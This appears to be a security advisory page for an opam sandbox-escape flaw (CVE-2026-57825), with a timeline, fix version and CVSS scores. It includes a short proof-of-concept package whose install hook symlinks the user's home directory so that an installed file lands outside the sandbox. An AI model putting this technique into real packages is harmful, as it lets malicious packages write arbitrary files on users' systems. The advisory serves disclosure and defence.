CVE-2026-57825
Published:July 25, 2026
Updated:August 02, 2026
Summary Installing files through ".install" files do not check symlinks resolution of the target path, and so can bypass sandboxing. Exploit Let's imagine a "test" package whose "test.install" file looks like the following: share_root: [ "test" {"blah/pwnd"} ] and "test.opam" file: opam-version: "2.0" install: ["sh" "-c" "ln -s "$HOME" "%{share}%/blah""] Installing this package will write the "pwnd" file in the home directory of the current user, bypassing sandboxing. Timeline - 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team - 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks - 2026-07-08: opam 2.5.2 was released with the fix
Affected Packages
https://github.com/ocaml/opam.git (GITHUB):
Affected version(s) >=0.1 <2.5.2Fix Suggestion:
Update to version 2.5.2Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
6.9
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
PASSIVE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
HIGH
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
5.7
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality
NONE
Integrity
HIGH
Availability
NONE